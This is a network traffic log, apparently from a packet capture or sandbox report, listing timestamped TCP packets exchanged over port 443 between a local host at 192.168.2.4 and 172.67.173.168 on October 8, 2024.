Oct 8, 2024 02:39:17.551680088 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.552401066 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552463055 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.552475929 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552500963 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552561998 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.552575111 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552599907 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552622080 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.552634001 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.552664995 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.553322077 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.553388119 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.553400040 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.553452969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.553457975 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.553489923 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.553512096 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.598140001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636349916 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636440039 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636475086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636512995 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636579037 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636579990 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636626005 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636730909 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636744976 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636782885 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636821985 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636846066 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636847019 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636871099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.636912107 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.636975050 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637029886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637046099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637072086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637105942 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637123108 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637152910 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637171984 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637243986 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637257099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637281895 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637310982 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637324095 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637357950 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637361050 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637408972 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637413025 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637428045 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637480974 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637578011 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637619019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637636900 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637649059 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637682915 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637728930 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637780905 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637794018 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637871981 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.637958050 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.637999058 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.638012886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.638025045 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.638057947 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.638078928 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641382933 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641453028 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641490936 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641551971 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641716003 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641763926 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641771078 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641781092 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641823053 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641827106 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641827106 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.641846895 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.641875982 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.642230034 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642292023 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.642303944 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642338037 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642364979 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.642384052 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642412901 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.642458916 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642513990 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.642528057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.642585039 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.682341099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.682405949 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.721961975 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722121954 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722157001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722225904 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722268105 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722270966 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722331047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722347975 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722381115 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722439051 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722453117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722701073 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722752094 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722765923 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722786903 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.722820997 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.722850084 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723079920 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723126888 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723155022 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723169088 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723201990 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723222017 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723690033 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723769903 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723773956 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723798990 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.723839045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.723862886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724165916 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724227905 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724256992 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724272013 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724303961 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724324942 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724592924 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724633932 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724661112 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724673986 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.724701881 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.724720001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.725384951 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.725426912 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.725462914 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.725483894 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.725508928 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.725532055 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.768660069 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.768722057 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.768811941 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.768812895 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.768877983 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.768940926 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.808880091 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.808980942 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809123993 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809140921 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.809140921 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.809175014 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809196949 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.809206963 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809242964 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.809654951 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809695005 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809726954 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.809768915 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.809808969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.810192108 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810237885 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810255051 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.810271025 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810312033 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.810662985 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810702085 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810729027 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.810744047 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.810775042 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.811343908 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.811413050 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.811423063 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.811450958 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.811495066 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.813287020 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.813327074 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.813354015 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.813369036 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.813401937 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.813436031 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.813545942 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.813560963 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.855041981 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.855112076 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.855134010 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.855151892 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.855182886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.894953966 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895013094 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895056009 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.895131111 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895172119 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.895185947 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895245075 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895246029 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.895279884 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.895318985 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.895992994 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896047115 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896076918 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.896092892 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896123886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.896393061 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896440029 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896465063 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.896480083 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896509886 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.896910906 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896950006 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.896982908 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.896996021 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.897031069 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.897746086 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.897793055 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.897814035 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.897829056 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.897866011 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.899633884 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.899672985 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.899708033 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.899722099 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.899754047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.941940069 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.959091902 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.959152937 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.959228039 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.959292889 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.959345102 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.959403038 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.981553078 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981620073 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981775045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.981775045 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.981839895 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981884956 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981906891 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.981921911 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981960058 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.981971979 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982007027 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982024908 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982062101 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982089996 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982745886 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982789040 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982831001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982842922 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982882977 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982916117 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982933044 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.982945919 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982980013 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.982983112 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983026028 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983045101 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.983074903 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983103991 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983496904 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.983547926 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.983593941 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983606100 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.983649969 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.983706951 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.984066010 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.984107018 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.984158039 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.984169960 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.984199047 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.984369040 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.985755920 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.985796928 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.985838890 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.985851049 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:17.985877991 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:17.985951900 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.027901888 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.027966022 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.028126001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.028126001 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.028192043 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.030906916 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.067329884 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.067415953 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.067562103 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.067574978 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.067574978 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.067614079 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.067631006 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.067646027 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.067693949 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.068207026 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068245888 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068401098 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.068413019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068474054 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068522930 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.068522930 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.068881035 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068929911 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.068980932 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.069003105 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.069040060 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.069812059 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.069854021 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.069902897 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.069917917 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.069958925 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.070868015 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.070914030 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.070935965 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.070951939 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.070988894 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.072012901 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.072052002 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.072097063 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.072108984 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.072155952 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.114964962 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.153553963 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.153615952 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.153755903 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.153764963 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.153809071 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.153820992 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.153841019 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.153856993 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.153887987 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.153986931 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.154027939 CEST	443	49734	172.67.173.168	192.168.2.4
Oct 8, 2024 02:39:18.154073954 CEST	49734	443	192.168.2.4	172.67.173.168
Oct 8, 2024 02:39:18.154107094 CEST	443	49734	172.67.173.168	192.168.2.4
